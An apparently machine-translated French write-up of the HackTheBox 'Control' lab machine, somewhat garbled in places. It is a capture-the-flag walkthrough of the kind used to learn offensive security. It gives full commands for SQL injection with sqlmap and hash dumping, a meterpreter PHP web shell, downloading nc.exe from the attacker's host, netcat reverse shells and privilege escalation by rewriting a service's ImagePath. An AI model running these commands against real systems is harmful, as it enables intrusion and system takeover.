Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox .Dans cet article, nous pénétrons le système par injection SQL, plongeons dans l'historique de la ligne de commande et augmentons nos privilèges grâce aux droits sur le service.La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)Information organisationnelle, ,
Telegram . , ,
.
. , - , .
Recon
Cette machine a une adresse IP 10.10.10.167, que j'ajoute Ă / etc / hosts.10.10.10.167 control.htb
Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP Ă partir de l'interface tun0 Ă une vitesse de 1000 paquets par seconde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167 --rate=1000
Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.nmap -A control.htb -p80,135,3306,49667,49666
L'hôte exécute un serveur Web. Voyons ce qu'il y a.
Et nous voyons qu'il y a un lien vers le panneau d'administration. Mais nous sommes informés qu'il n'y a pas d'en-tête et nous devons contacter via un proxy.
Dans le même temps, dans le code source de la page de démarrage, nous trouvons le message:
En comparant ce dont vous avez besoin pour utiliser le proxy et l'adresse trouvée, nous supposons que vous devez le parcourir. Le proxy est affiché dans le protocole HTTP dans l'en-tête x-forwarded-for. Exposons-le.
Et nous allons avec succès à la page d'administration. Passons par le navigateur.
Mais lorsque vous essayez de faire quelque chose, ils nous jettent sur une page avec un message proxy. En effet, nous ne remplaçons pas l'en-tête trouvé. Afin de ne pas le faire à chaque fois dans Burp Suite, dans l'onglet Proxy -> Options, nous trouvons la fonction «Match and Replace».
Et ajoutez une nouvelle entrée qui ajoutera automatiquement cet en-tête à toutes les demandes sortantes.
Et en testant le champ de recherche, nous trouvons l'injection SQL.
Pour le fonctionnement, nous utilisons sqlmap. Enregistrons cette demande dans un fichier (Copier dans un fichier) et exécutons sqlmap, en passant ce fichier comme paramètre.sqlmap -r headers.req
Point d'entréeVoyons quelles bases de données sont disponibles.sqlmap -r headers.req --dbs
Voyons quelles informations d'identification sont disponibles. Voyons toutes les tables de la base de données mysql.sqlmap -r headers.req -D mysql --tables
Nous nous intéressons donc à la table des utilisateurs. Obtenons les noms de toutes les colonnes.sqlmap -r headers.req -D mysql -T user --columns
De toutes les colonnes, les plus intéressantes sont Utilisateur et Mot de passe. Nous apprenons ce qu'il y a en eux.sqlmap -r headers.req -D mysql -T user -C User,Password --dump
La base de données contient plusieurs utilisateurs. Sqlmap propose de cracker les hachages. Nous sélectionnons une attaque par dictionnaire, indiquons que nous voulons utiliser notre dictionnaire et écrivons le chemin vers rockyou.
Après quelques secondes, nous recevrons un tableau avec les noms d'utilisateur et les hachages de leurs mots de passe. Si sqlmap a réussi à casser le mot de passe, il l'indiquera à côté du hachage entre parenthèses. Comme vous pouvez le voir, nous avons les informations d'identification de l'utilisateur hector.
Je n'ai pas pu obtenir le shell en utilisant sqlmap, mais en écrivant des fichiers. Posons le Web a marché. Tout d'abord, nous générons la charge de meterpreter au format PHP.msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Maintenant, écrivez-le en utilisant sqlmap dans le répertoire du serveur Web.sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php
Le fichier a été écrit avec succès. Exécutez l'écouteur.
Et tournez-vous vers votre fichier sur le serveur Web.curl http://control.htb/r.php
Dans la fenêtre Metasploit, nous observons une connexion réussie.
Accédez à cette session.
Mais voici le problème, nous ne pouvons pas exécuter de commandes via le shell. De plus, de telles tentatives réinitialisent la connexion. Essayons de contourner le verrou en créant un processus PowerShell en mode interactif (-i) caché à la vue (-H) et en passant notre commande en tant que paramètres (-a). Voyons sous quel utilisateur nous travaillons.
UTILISATEUR
Nous avons des informations d'identification Hector, nous verrons s'il y a un tel utilisateur dans le système.
Il y a un tel utilisateur! Mais d'abord, découvrez le nom de la voiture.
Nous avons un nom d'utilisateur, un mot de passe, un domaine et un nom de machine. Vérifions maintenant si les informations d'identification que nous avons reçues sont appropriées. Pour ce faire, exécutez «whoami» au nom d'Hector.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H
Bien. Prenons la coquille. Exécutez le serveur Web sur l'hôte local.python3 -m http.server 80
Et téléchargez sur l'hôte Netcat distant.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H
Ouvrez maintenant le port 5432. nc -lvp 5432 et effectuez la connexion inverse Ă partir de l'hĂ´te distant.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H
Nous prenons donc l'utilisateur.
RACINE
De plus, lorsque nous essayons de télécharger l'un des moyens de collecter des informations de l'hôte vers l'hôte (tels que BloodHound , PowerUp , JAWS , WinPEAS ), nous remarquons que le défenseur les supprime. Mais WinPEAS a une version de chauve - souris qui ne peut pas être désinstallée. Nous le téléchargeons sur l'hôte et l'exécutons. De plus, il est seulement nécessaire d'examiner attentivement les informations collectées. Et nous trouvons un fichier intéressant ConsoleHost_history.txt.
Regardez ce qu'il contient.
Ces équipes sont la seule chose que nous avons. L'applet de commande Get-Acl récupère les objets qui représentent un descripteur de sécurité pour un fichier ou une ressource. Le descripteur de sécurité contient des listes de contrôle d'accès aux ressources (ACL). L'ACL contient les autorisations requises par les utilisateurs et les groupes d'utilisateurs pour accéder à la ressource. J'ai donc décidé que le chemin de la solution réside dans les services et leur accès. Obtenons-leur tous les services et autorisations d'Hector.get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"
En regardant Ă travers la sortie, nous remarquons que Hector a tous les droits sur le service de mise Ă jour Windows - wuauserv.
Les services du système d'exploitation Windows s'exécutent avec des privilèges système. Lors de l'enregistrement d'un service dans le système, le chemin d'accès au fichier exécutable du service est protégé dans l'attribut ImagePath. Modifions la valeur de cet attribut et chargeons le shell.reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"
Démarrez maintenant le service de mise à jour.start-service wuauserv
Et nous obtenons un shell avec des privilèges maximum.
Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.